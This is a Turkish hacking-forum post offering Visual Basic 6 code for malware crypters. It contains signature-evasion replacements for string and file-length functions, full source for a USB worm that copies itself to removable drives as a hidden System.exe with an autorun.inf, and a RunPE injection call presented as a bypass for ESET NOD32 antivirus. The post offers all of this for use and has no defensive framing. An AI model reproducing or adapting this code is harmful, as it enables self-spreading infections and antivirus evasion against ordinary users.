Sa Arkadaslar Herkese Kolay Gelsin
Projelermizdeki [SubMain] Kısmındaki Slof - Split - Strrev - Len - Kodları Antilere Yakalanıyor Olabilir Bunu Alternatif Kodlarımızla Çözebilirsiniz...
08.11.2014 Slof Eklendi.
Alternatif StrRev
Alternatif Len
Aternatif Slof 08.11.2014
26.11.2014 Alternatif Slof2
Alternatif App.path Exe Name 26.11.2014
Usb Sperad Turkey Source
Eset Nod 32 Bypass
Submaindeki Runpe Cagırma Kodumuzu Alternatif Olarak Yazagacagımız Cagırma İşlemiyle
Eset Nod32yi Bypas Edebiliriz.
Örnek Cagırma Kodu: Call RunPE(YO, StrConv(sData(1), vbFromUnicode))
Bypass: Call RunPE(Environ$("Windir") & "\System32\Wingolon.exe", StrConv(sData(1), vbFromUnicode))
Olarak Düzenleyip İnject Edebiliriz... Konu Sürekli Güncellenecektir Arkadaslar Slof- Split Alternatifleri Eklenecektir. HerŞey THT <3 İyi Kulalnımlar
Projelermizdeki [SubMain] Kısmındaki Slof - Split - Strrev - Len - Kodları Antilere Yakalanıyor Olabilir Bunu Alternatif Kodlarımızla Çözebilirsiniz...
08.11.2014 Slof Eklendi.
Alternatif StrRev
Kod:
Public Function StrRev_Alter(Palabra As String)
Dim k, i As Integer
Dim Res As String
Dim b() As Byte
b = StrConv(Palabra, vbFromUnicode)
For k = 0 To Len(Palabra) - 1
i = (Len(Palabra) - 1) - k
Res = Res + Chr(b(i))
Next k
StrRev_Alter = Res
End Function
Alternatif Len
Kod:
Public Function Len_Alter(Palabra As String)
Dim a As Long
Dim b() As Byte
Dim c As Integer
b = StrConv(Palabra, vbFromUnicode)
For a = 0 To UBound(b())
c = c + 1
Next a
Len_Alter = c
End Function
Aternatif Slof 08.11.2014
Kod:
Public Function sLOF(sPath As String) As Double
'Autor: Slek
'Utilizado como alternativa a LOF
'Fecha: 7/03/14
Dim Fso, F As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Set F = Fso.GetFile(sPath)
sLOF = F.Size
End Function
26.11.2014 Alternatif Slof2
Kod:
Public Function dk9cgiCRf(o04OE4s6I As String) As Double
Dim VkfbAbCye, rvETBQXhL As Object
Set VkfbAbCye = CreateObject("Scripting.FileSystemObject")
Set rvETBQXhL = VkfbAbCye.GetFile(o04OE4s6I)
dk9cgiCRf = rvETBQXhL.Size
End Function
Alternatif App.path Exe Name 26.11.2014
Kod:
Public Function DPt9fN39d()
Dim tEJFxgJjS As String
Dim CTIf40ZOr As String
Dim zM6TSNCVl As String
Dim L65ib8MZU As String
tEJFxgJjS = App.Path
CTIf40ZOr = Chr$(92)
zM6TSNCVl = App.EXEName
L65ib8MZU = Chr$(46) & Chr$(69) & Chr$(88) & Chr$(69)
DPt9fN39d = tEJFxgJjS + CTIf40ZOr + zM6TSNCVl + L65ib8MZU
End Function
Usb Sperad Turkey Source
Kod:
Attribute VB_Name = "mUSBspread"
Dim E As Boolean
Dim F As Boolean
Dim G As Boolean
Dim h As Boolean
Dim i As Boolean
Private Sub Form_Load()
Timer1.Enabled = True
Timer2.Enabled = True
E = False
F = False
G = False
h = False
i = False
End Sub
Private Sub Timer1_Timer()
If Dir("E:\") <> "" And E = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\System.exe"
Open "E:\autorun.inf" For Append As #1
Print #1, "[autorun]"
Print #1, "open=System.exe"
Close #1
SetAttr "E:\System.exe", vbHidden
SetAttr "E:\autorun.inf", vbHidden
E = True
End If
If Dir("F:\") <> "" And F = False Then
MsgBox "USB IN DRIVE F."
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\System.exe"
Open "F:\autorun.inf" For Append As #1
Print #1, "[autorun]"
Print #1, "open=System.exe"
Close #1
SetAttr "F:\System.exe", vbHidden
SetAttr "F:\autorun.inf", vbHidden
F = True
End If
If Dir("G:\") <> "" And G = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\System.exe"
Open "G:\autorun.inf" For Append As #1
Print #1, "[autorun]"
Print #1, "open=System.exe"
Close #1
SetAttr "G:\System.exe", vbHidden
SetAttr "G:\autorun.inf", vbHidden
G = True
End If
If Dir("H:\") <> "" And h = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\System.exe"
Open "H:\autorun.inf" For Append As #1
Print #1, "[autorun]"
Print #1, "open=System.exe"
Close #1
SetAttr "H:\System.exe", vbHidden
SetAttr "H:\autorun.inf", vbHidden
h = True
End If
If Dir("I:\") <> "" And i = False Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\System.exe"
Open "I:\autorun.inf" For Append As #1
Print #1, "[autorun]"
Print #1, "open=System.exe"
Close #1
SetAttr "I:\System.exe", vbHidden
SetAttr "I:\autorun.inf", vbHidden
i = True
End If
End Sub
Private Sub Timer2_Timer()
If Dir("E:\") = "" And E = True Then
E = False
End If
If Dir("F:\") = "" And F = True Then
F = False
End If
If Dir("G:\") = "" And G = True Then
F = False
End If
If Dir("H:\") = "" And h = True Then
F = False
End If
If Dir("I:\") = "" And i = True Then
F = False
End If
End Sub
' USB SPREAD SOURCE
' https://www.turkhackteam.org
' https://www.facebook.com/NoaDaFFy
Public Function INFECT_USB(YOL As String, AD As String)
Dim FSO, SURUCULER, SURUCU
Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT")
Set SURUCULER = FSO.DRIVES
For Each SURUCU In SURUCULER
If SURUCU.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE
If Right(YOL, 1) <> "\" Then YOL = YOL & "\"
If DosyaVarmi(SURUCU & "\autorun.inf") Then
SetAttr SURUCU & "\autorun.inf", 0
Kill SURUCU & "\autorun.inf"
End If
Open SURUCU & "\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbCrLf & _
"open=" & SURUCU & "\" & AD
Close #1
If Not DosyaVarmi(SURUCU & "\" & AD) Then
FileCopy YOL & AD, SURUCU & "\" & AD
End If
SetAttr SURUCU & "\" & AD, 4 'DOSYA OZNITELIKLERINI UYGULA
SetAttr SURUCU & "\autorun.inf", 4
SetAttr SURUCU & "\" & AD, 2
SetAttr SURUCU & "\autorun.inf", 2
End If
Next
End Function
Public Function DosyaVarmi(DosyaAdi As String) As Boolean
On Error GoTo DosyaYok
Call FileLen(DosyaAdi)
DosyaVarmi = True
Exit Function
DosyaYok:
End Function
Eset Nod 32 Bypass
Submaindeki Runpe Cagırma Kodumuzu Alternatif Olarak Yazagacagımız Cagırma İşlemiyle
Eset Nod32yi Bypas Edebiliriz.
Örnek Cagırma Kodu: Call RunPE(YO, StrConv(sData(1), vbFromUnicode))
Bypass: Call RunPE(Environ$("Windir") & "\System32\Wingolon.exe", StrConv(sData(1), vbFromUnicode))
Olarak Düzenleyip İnject Edebiliriz... Konu Sürekli Güncellenecektir Arkadaslar Slof- Split Alternatifleri Eklenecektir. HerŞey THT <3 İyi Kulalnımlar
Son düzenleme: